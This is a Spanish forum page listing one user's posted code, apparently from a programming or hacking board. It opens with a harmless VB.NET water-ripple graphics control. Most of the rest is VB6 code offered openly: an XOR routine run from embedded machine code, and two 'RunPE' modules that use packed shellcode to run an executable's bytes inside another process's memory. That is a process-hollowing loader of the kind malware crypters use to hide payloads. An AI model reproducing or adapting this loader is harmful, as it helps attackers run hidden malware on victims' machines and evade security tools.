Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Imports System
Imports System.Collections
Imports System.Drawing
Imports System.Drawing.Imaging
Imports System.Runtime.InteropServices
Imports System.Windows.Forms
Public Class WaterFX
Inherits System.Windows.Forms.Panel
Private effectTimer As System.Windows.Forms.Timer
Private tmrBalance As System.Windows.Forms.Timer
Private components As System.ComponentModel.IContainer
Private _bmp As Bitmap
Private _waves As Short(,,)
Private _waveWidth As Integer
Private _waveHeight As Integer
Private _activeBuffer As Integer = 0
Private _weHaveWaves As Boolean
Private _bmpHeight As Integer, _bmpWidth As Integer
Private _bmpBytes As Byte()
Private _bmpBitmapData As BitmapData
Private _scale As Integer
Private __IsBusy As Boolean
Private Sub InitializeComponent()
Me.components = New System.ComponentModel.Container()
Me.effectTimer = New System.Windows.Forms.Timer(Me.components)
Me.tmrBalance = New System.Windows.Forms.Timer(Me.components)
AddHandler Me.effectTimer.Tick, AddressOf Me.effectTimer_Tick
AddHandler Me.tmrBalance.Tick, AddressOf Me.tmrBalance_Tick
AddHandler Me.Paint, AddressOf Me.WaterEffectControl_Paint
AddHandler Me.MouseMove, AddressOf Me.WaterEffectControl_MouseMove
End Sub
Public Sub New()
InitializeComponent()
effectTimer.Enabled = True
effectTimer.Interval = 100
tmrBalance.Interval = 1000
SetStyle(ControlStyles.UserPaint, True)
SetStyle(ControlStyles.AllPaintingInWmPaint, True)
SetStyle(ControlStyles.DoubleBuffer, True)
Me.BackColor = Color.Transparent
_weHaveWaves = False
_scale = 1
End Sub
Public Sub New(ByVal bmp As Bitmap)
Me.New()
Me.ImageBitmap = bmp
End Sub
Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
If disposing Then
If components IsNot Nothing Then
components.Dispose()
End If
End If
MyBase.Dispose(disposing)
End Sub
Private Sub effectTimer_Tick(ByVal sender As Object, ByVal e As System.EventArgs)
If _weHaveWaves Then
Invalidate()
ProcessWaves()
End If
End Sub
Private Sub tmrBalance_Tick(ByVal sender As Object, ByVal e As System.EventArgs)
__IsBusy = Not __IsBusy
End Sub
Public Sub WaterEffectControl_Paint(ByVal sender As Object, ByVal e As System.Windows.Forms.PaintEventArgs)
If IsNothing(_bmp) Then Return
Dim tmp As Bitmap = Nothing
On Error Resume Next
tmp = DirectCast(_bmp.Clone(), Bitmap)
Dim xOffset As Integer, yOffset As Integer
Dim alpha As Byte
If _weHaveWaves Then
Dim tmpData As BitmapData = tmp.LockBits(New Rectangle(0, 0, _bmpWidth, _bmpHeight), ImageLockMode.ReadWrite, PixelFormat.Format32bppArgb)
Dim tmpBytes As Byte() = New Byte(_bmpWidth * _bmpHeight * 4 - 1) {}
Marshal.Copy(tmpData.Scan0, tmpBytes, 0, _bmpWidth * _bmpHeight * 4)
For x As Integer = 1 To _bmpWidth - 2
For y As Integer = 1 To _bmpHeight - 2
Dim waveX As Integer = CInt(x) >> _scale
Dim waveY As Integer = CInt(y) >> _scale
If waveX <= 0 Then
waveX = 1
End If
If waveY <= 0 Then
waveY = 1
End If
If waveX >= _waveWidth - 1 Then
waveX = _waveWidth - 2
End If
If waveY >= _waveHeight - 1 Then
waveY = _waveHeight - 2
End If
xOffset = (_waves(waveX - 1, waveY, _activeBuffer) - _waves(waveX + 1, waveY, _activeBuffer)) >> 3
yOffset = (_waves(waveX, waveY - 1, _activeBuffer) - _waves(waveX, waveY + 1, _activeBuffer)) >> 3
If (xOffset <> 0) OrElse (yOffset <> 0) Then
If x + xOffset >= _bmpWidth - 1 Then
xOffset = _bmpWidth - x - 1
End If
If y + yOffset >= _bmpHeight - 1 Then
yOffset = _bmpHeight - y - 1
End If
If x + xOffset < 0 Then
xOffset = -x
End If
If y + yOffset < 0 Then
yOffset = -y
End If
If xOffset <= 0 Then xOffset = 0
alpha = CByte(200 - xOffset)
If alpha < 0 Then
alpha = 0
End If
If alpha > 255 Then
alpha = 254
End If
tmpBytes(4 * (x + y * _bmpWidth)) = _bmpBytes(4 * (x + xOffset + (y + yOffset) * _bmpWidth))
tmpBytes(4 * (x + y * _bmpWidth) + 1) = _bmpBytes(4 * (x + xOffset + (y + yOffset) * _bmpWidth) + 1)
tmpBytes(4 * (x + y * _bmpWidth) + 2) = _bmpBytes(4 * (x + xOffset + (y + yOffset) * _bmpWidth) + 2)
tmpBytes(4 * (x + y * _bmpWidth) + 3) = alpha
End If
Next
If Not Err.Number = 0 Then Exit For
Next
Marshal.Copy(tmpBytes, 0, tmpData.Scan0, _bmpWidth * _bmpHeight * 4)
tmp.UnlockBits(tmpData)
End If
e.Graphics.DrawImage(tmp, 0, 0, Me.ClientRectangle.Width, Me.ClientRectangle.Height)
If Not Err.Number = 0 Then Debug.WriteLine("WaterEffectControl_Paint: " & Err.Description)
If Not IsNothing(tmp) Then tmp.Dispose()
End Sub
Private Sub ProcessWaves()
Dim newBuffer As Integer = If((_activeBuffer = 0), 1, 0)
Dim wavesFound As Boolean = False
If newBuffer < 0 Then newBuffer = 1
On Error Resume Next
For x As Integer = 1 To _waveWidth - 2
For y As Integer = 1 To _waveHeight - 2
_waves(x, y, newBuffer) = CShort((((_waves(x - 1, y - 1, _activeBuffer) + _waves(x, y - 1, _activeBuffer) + _waves(x + 1, y - 1, _activeBuffer) + _waves(x - 1, y, _activeBuffer) + _waves(x + 1, y, _activeBuffer) + _waves(x - 1, y + 1, _activeBuffer) + _waves(x, y + 1, _activeBuffer) + _waves(x + 1, y + 1, _activeBuffer)) >> 2) - _waves(x, y, newBuffer)))
'damping
If _waves(x, y, newBuffer) <> 0 Then
_waves(x, y, newBuffer) -= CShort((_waves(x, y, newBuffer) >> 4))
wavesFound = True
End If
If Not Err.Number = 0 Then Exit For
Next
If Not Err.Number = 0 Then Exit For
Next
_weHaveWaves = wavesFound
_activeBuffer = newBuffer
End Sub
Private Sub PutDrop(ByVal x As Integer, ByVal y As Integer, ByVal height As Short)
_weHaveWaves = True
Dim radius As Integer = 20
Dim dist As Double
On Error Resume Next
For i As Integer = -radius To radius
For j As Integer = -radius To radius
If ((x + i >= 0) AndAlso (x + i < _waveWidth - 1)) AndAlso ((y + j >= 0) AndAlso (y + j < _waveHeight - 1)) Then
dist = Math.Sqrt(i * i + j * j)
If dist < radius Then
_waves(x + i, y + j, _activeBuffer) = CShort((Math.Cos(dist * Math.PI / radius) * height))
End If
End If
If Not Err.Number = 0 Then Return
Next
If Not Err.Number = 0 Then Return
Next
End Sub
Private Sub WaterEffectControl_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs)
On Error Resume Next
If Not __IsBusy Then
Dim realX As Integer = CInt(((e.X / CDbl(Me.ClientRectangle.Width)) * _waveWidth))
Dim realY As Integer = CInt(((e.Y / CDbl(Me.ClientRectangle.Height)) * _waveHeight))
If Not Err.Number = 0 Then Return
PutDrop(realX, realY, 200)
End If
If Not tmrBalance.Enabled Then tmrBalance.Start()
End Sub
#Region "Properties"
Public Property ImageBitmap() As Bitmap
Get
Return _bmp
End Get
Set(ByVal value As Bitmap)
_bmp = value
If IsNothing(_bmp) Then
effectTimer.Stop()
tmrBalance.Stop()
Return
Else
effectTimer.Start()
__IsBusy = False
End If
_bmpHeight = _bmp.Height
_bmpWidth = _bmp.Width
_waveWidth = _bmpWidth >> _scale
_waveHeight = _bmpHeight >> _scale
_waves = New Int16(_waveWidth - 1, _waveHeight - 1, 1) {}
_bmpBytes = New Byte(_bmpWidth * _bmpHeight * 4 - 1) {}
_bmpBitmapData = _bmp.LockBits(New Rectangle(0, 0, _bmpWidth, _bmpHeight), ImageLockMode.ReadWrite, PixelFormat.Format32bppArgb)
Marshal.Copy(_bmpBitmapData.Scan0, _bmpBytes, 0, _bmpWidth * _bmpHeight * 4)
End Set
End Property
Public Shadows Property Scale() As Integer
Get
Return _scale
End Get
Set(ByVal value As Integer)
_scale = value
End Set
End Property
#End Region
End Class
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcW" (ByVal ptrMC As Long, ByVal P1 As Long, ByVal P2 As Long, ByVal P3 As Long, ByVal P4 As Long) As Long
Private MyByteXor(93) As Byte ' Byte array (hold the ASM ShellCode)
Private ptrMC As Long 'Byte array Pointer Store Value
Public Function ASMXORString(Str As String, Password As String) As String
Call LeggiCodiceMasm32
Call CallWindowProc(ptrMC, StrPtr(Str), Len(Str), StrPtr(Password), Len(Password))
ASMXORString = Str
End Function
Public Sub ASMXORByte(ByteA() As Byte, Password As String)
Call LeggiCodiceMasm32
Call CallWindowProc(ptrMC, VarPtr(ByteA(0)), UBound(ByteA), StrPtr(Password), Len(Password))
End Sub
Sub LeggiCodiceMasm32()
MyByteXor(0) = 85
MyByteXor(1) = 137
MyByteXor(2) = 229
MyByteXor(3) = 83
MyByteXor(4) = 86
MyByteXor(5) = 87
MyByteXor(6) = 139
MyByteXor(7) = 69
MyByteXor(8) = 12
MyByteXor(9) = 133
MyByteXor(10) = 192
MyByteXor(11) = 116
MyByteXor(12) = 70
MyByteXor(13) = 139
MyByteXor(14) = 69
MyByteXor(15) = 20
MyByteXor(16) = 133
MyByteXor(17) = 192
MyByteXor(18) = 116
MyByteXor(19) = 63
MyByteXor(20) = 139
MyByteXor(21) = 77
MyByteXor(22) = 12
MyByteXor(23) = 209
MyByteXor(24) = 225
MyByteXor(25) = 139
MyByteXor(26) = 85
MyByteXor(27) = 8
MyByteXor(28) = 1
MyByteXor(29) = 202
MyByteXor(30) = 247
MyByteXor(31) = 217
MyByteXor(32) = 139
MyByteXor(33) = 93
MyByteXor(34) = 20
MyByteXor(35) = 209
MyByteXor(36) = 227
MyByteXor(37) = 139
MyByteXor(38) = 69
MyByteXor(39) = 16
MyByteXor(40) = 1
MyByteXor(41) = 216
MyByteXor(42) = 137
MyByteXor(43) = 69
MyByteXor(44) = 16
MyByteXor(45) = 247
MyByteXor(46) = 219
MyByteXor(47) = 137
MyByteXor(48) = 93
MyByteXor(49) = 20
MyByteXor(50) = 139
MyByteXor(51) = 4
MyByteXor(52) = 10
MyByteXor(53) = 3
MyByteXor(54) = 93
MyByteXor(55) = 16
MyByteXor(56) = 50
MyByteXor(57) = 3
MyByteXor(58) = 43
MyByteXor(59) = 93
MyByteXor(60) = 16
MyByteXor(61) = 129
MyByteXor(62) = 195
MyByteXor(63) = 2
MyByteXor(64) = 0
MyByteXor(65) = 0
MyByteXor(66) = 0
MyByteXor(67) = 117
MyByteXor(68) = 3
MyByteXor(69) = 139
MyByteXor(70) = 93
MyByteXor(71) = 20
MyByteXor(72) = 137
MyByteXor(73) = 4
MyByteXor(74) = 10
MyByteXor(75) = 129
MyByteXor(76) = 193
MyByteXor(77) = 2
MyByteXor(78) = 0
MyByteXor(79) = 0
MyByteXor(80) = 0
MyByteXor(81) = 117
MyByteXor(82) = 223
MyByteXor(83) = 49
MyByteXor(84) = 192
MyByteXor(85) = 95
MyByteXor(86) = 94
MyByteXor(87) = 91
MyByteXor(88) = 137
MyByteXor(89) = 236
MyByteXor(90) = 93
MyByteXor(91) = 194
MyByteXor(92) = 16
MyByteXor(93) = 0
ptrMC = VarPtr(MyByteXor(0))
End Sub'Author : hamavb
'First cut : 02/03/2012 16:50
'Credits : karcrack & cobein
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcW" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Function ShRunPE(ByVal TargetHost As String, bBuffer() As Byte)
Dim Asm(160) As Currency
Asm(0) = 3011782251321.1488@
Asm(1) = 2842944510165.0021@
Asm(2) = 21475170.7244@
Asm(3) = 3039972698908.2734@
Asm(4) = 0.0108@
Asm(5) = 0@
Asm(6) = 0@
Asm(7) = 0@
Asm(8) = 0@
Asm(9) = 0@
Asm(10) = 770918988510973.1328@
Asm(11) = 609196292101137.4146@
Asm(12) = 318076019310180.1508@
Asm(13) = -857485367476117.5446@
Asm(14) = 399392180.8913@
Asm(15) = -706833318868351.5511@
Asm(16) = 6879439133396.1731@
Asm(17) = 763810498335316.3776@
Asm(18) = 388654513.6166@
Asm(19) = 98506041997.169@
Asm(20) = 24964196938431.9488@
Asm(21) = 22034984796.16@
Asm(22) = 305625529718164.0704@
Asm(23) = -410459675325501.5192@
Asm(24) = -172419915909691.6991@
Asm(25) = 150655457759015.8157@
Asm(26) = 763810498295053.1535@
Asm(27) = -334758189796557.4082@
Asm(28) = 763810498175933.6042@
Asm(29) = 769693235337619.0272@
Asm(30) = 658651445508203.5218@
Asm(31) = 93228415366.4744@
Asm(32) = 337544363.4688@
Asm(33) = -171181400105556.1333@
Asm(34) = -43143787013419.7499@
Asm(35) = -843073848963811.6758@
Asm(36) = 586115344006226.9449@
Asm(37) = 81903309047.8335@
Asm(38) = -170655782147139.7888@
Asm(39) = -296106572219468.926@
Asm(40) = -171744351251070.9758@
Asm(41) = 478565684273270.0365@
Asm(42) = 766128157362243.3@
Asm(43) = 763822153521118.6688@
Asm(44) = -5798494293561.088@
Asm(45) = 292876624.968@
Asm(46) = -303308424893800.028@
Asm(47) = 18687314406408.1922@
Asm(48) = -814921249263117.9264@
Asm(49) = 377936345376908.9026@
Asm(50) = 914455950214871.0911@
Asm(51) = 793381819255881.7282@
Asm(52) = 247979454486563.4385@
Asm(53) = -842580059571706.7544@
Asm(54) = 261953043.9225@
Asm(55) = 1351124663940.1355@
Asm(56) = -5728895679889.4336@
Asm(57) = 16435523184027.2177@
Asm(58) = 453291086712582.9632@
Asm(59) = -171181401297649.6638@
Asm(60) = 247984901789109.5093@
Asm(61) = 763853927511347.5304@
Asm(62) = 68764336814004.0238@
Asm(63) = 377880083361326.677@
Asm(64) = 58153857883.8015@
Asm(65) = -170634502550313.984@
Asm(66) = -6846382739763.962@
Asm(67) = 217285200.5584@
Asm(68) = 273152312385105.8024@
Asm(69) = 13733354816300.6466@
Asm(70) = 764000768607145.1648@
Asm(71) = 17395153563837.4458@
Asm(72) = -353751767489869.7902@
Asm(73) = 763363.3281@
Asm(74) = 392094642558210.6624@
Asm(75) = 764766522162398.7432@
Asm(76) = 126410412043612.3678@
Asm(77) = 27351427555.8027@
Asm(78) = 11706747011255.5776@
Asm(79) = -757276053642969.088@
Asm(80) = 360268856045024.0513@
Asm(81) = 749398978656993.7514@
Asm(82) = 12354147786351.6251@
Asm(83) = 769693219347778.7648@
Asm(84) = 414640788194904.6822@
Asm(85) = -171181417231738.2261@
Asm(86) = 276807880992725.4373@
Asm(87) = -842805239553082.2424@
Asm(88) = 37043291672.0721@
Asm(89) = 507392545273423.744@
Asm(90) = 769258247064186.1864@
Asm(91) = 68764336812483.5886@
Asm(92) = 360268875651665.0832@
Asm(93) = 749398978495932.017@
Asm(94) = 9651988025294.3009@
Asm(95) = 769693219347778.7648@
Asm(96) = 126410412042563.7942@
Asm(97) = -171294008471547.0205@
Asm(98) = -387449256181707.5451@
Asm(99) = 363299752439103.6175@
Asm(100) = -410459675325517.2888@
Asm(101) = -172926570866094.7199@
Asm(102) = -635688100489173.3787@
Asm(103) = 763810497261576.6376@
Asm(104) = 126410412042144.3634@
Asm(105) = -843073849903335.4646@
Asm(106) = 769693215773368.7817@
Asm(107) = 414640788193698.8194@
Asm(108) = 4951342415221.7475@
Asm(109) = 4636260512845.0048@
Asm(110) = -171631782205882.368@
Asm(111) = 507388721888441.1549@
Asm(112) = 31815578412492.9256@
Asm(113) = -872572382190820.8041@
Asm(114) = -286501654647065.8048@
Asm(115) = -428658242031485.5343@
Asm(116) = 3149895693349.6588@
Asm(117) = 22752143878461.8496@
Asm(118) = 10655039450.0177@
Asm(119) = 19434514006.2976@
Asm(120) = 2249161163731.9936@
Asm(121) = 590215178835617.3824@
Asm(122) = -171519195984216.1688@
Asm(123) = 334471606820667.3981@
Asm(124) = -6937148713125.7624@
Asm(125) = 3006614124114.7186@
Asm(126) = 457802337043140.7336@
Asm(127) = 34749504.673@
Asm(128) = -843073850212036.239@
Asm(129) = 536232810004781.4409@
Asm(130) = 699902812802672.356@
Asm(131) = -439434742750697.5805@
Asm(132) = 756604737376275.6714@
Asm(133) = 869968633553.1604@
Asm(134) = 450404738465.792@
Asm(135) = -7194094211452.1344@
Asm(136) = -1353710065018.4752@
Asm(137) = -439079356974065.2545@
Asm(138) = 566676858034822.4232@
Asm(139) = 32602016.4622@
Asm(140) = -7089160921751.4365@
Asm(141) = 410061545662244.4496@
Asm(142) = 617979275378688@
Asm(143) = 725985904952471.1762@
Asm(144) = 854193482151915.9435@
Asm(145) = -842159216757581.13@
Asm(146) = 457592490565246.7766@
Asm(147) = 17684902147728.7019@
Asm(148) = 643884385768544.0491@
Asm(149) = 622040492439682.185@
Asm(150) = 842553683379673.7879@
Asm(151) = 865826324060815.6483@
Asm(152) = 233132869356380.6979@
Asm(153) = -841594865717950.1309@
Asm(154) = -598169487549740.1085@
Asm(155) = 22006038477175.2068@
Asm(156) = 843978581769276.108@
Asm(157) = -840178504924852.7391@
Asm(158) = -836852911227146.7764@
Asm(159) = 643884385767650.3812@
Asm(160) = 328436.0538@
CallWindowProc VarPtr(Asm(0)), StrPtr(TargetHost), VarPtr(bBuffer(0)), 0, 0
End FunctionShRunPE "Target Exe Path", "PE data as byte()"Option Explicit
'---------------------------------------------------------------------------------------
' Module : mshRunPE_Strings
' Author : iCodeInVB6
' Now : 05/16/2012 11:40
' Purpose : Run executable in memory
' Only uses CallWindowProc & shellcode
' Credits : hamavb <-- made the shellcode!
' Tested : Win7 x64
'---------------------------------------------------------------------------------------
'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private s_ASM(7) As String
Private b_ASM(1287) As Byte
Public Sub RunPE(ByVal TargetHost As String, bBuffer() As Byte)
Dim i As Long
Dim j As Long
Dim k As Long
s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
For i = 0 To 7
For j = 1 To 322 Step 2
b_ASM(k) = CByte("&H" & Mid$(s_ASM(i), j, 2)): k = k + 1
Next j
Next i
CallWindowProcW VarPtr(b_ASM(0)), StrPtr(TargetHost), VarPtr(bBuffer(0)), 0, 0
End Sub
